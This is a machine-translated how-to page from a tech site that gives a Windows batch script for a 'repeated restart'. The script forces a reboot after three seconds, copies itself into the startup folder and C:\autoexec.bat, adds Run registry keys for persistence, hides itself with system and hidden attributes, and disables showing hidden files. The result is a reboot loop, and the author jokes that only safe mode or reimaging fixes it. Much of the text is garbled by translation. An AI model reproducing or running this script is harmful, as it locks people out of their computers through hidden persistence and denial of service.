Get the App
SLTechnology News&Howtos  ›  Development  › 

How to use batch processing to achieve repeated restart

Shulou Source: shulou.com Published: 2022-06-03 08:36:50 11月15日 Update

This article mainly introduces how to use batch processing to achieve repeated restart, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, let the editor take you to know it.

Batch process that is restarted repeatedly

@ echo off

Shutdown-r-t 3

Copy% 0 C:\ Documents "and"Settings\ All"Users\" start menu\ Program\ start\ a.bat

Copy% 0 c:\ autoexec.bat

REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v autoexec.bat / t REG_SZ / d c:\ autoexec.bat / f

REG ADD HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Run / v autoexec.bat / t REG_SZ / d c:\ autoexec.bat / f

Attrib autoexec.bat + r + s + h

REG ADD HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ explorer\ Advanced\ Folder\ Hidden / v CheckedValue / t REG_DWORD / d 00000000 / f

Del 0

If you restart in 3 seconds, if you add the startup item, there will be a 3-second countdown. Hey, hey, if you don't want to restart, go to safe mode or ghost to fix it. I have no other way.

Thank you for reading this article carefully. I hope the article "how to use batch processing to achieve repeated restart" shared by the editor will be helpful to everyone. At the same time, I also hope that you will support and pay attention to the industry information channel. More related knowledge is waiting for you to learn!

Tags: Articles security countdown value interests methods at the same time more friends patterns knowledge procedures ribbons menus industries information information channels channels references learning Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno MySQL Xiaomi Shulou Tech Info Linux macOS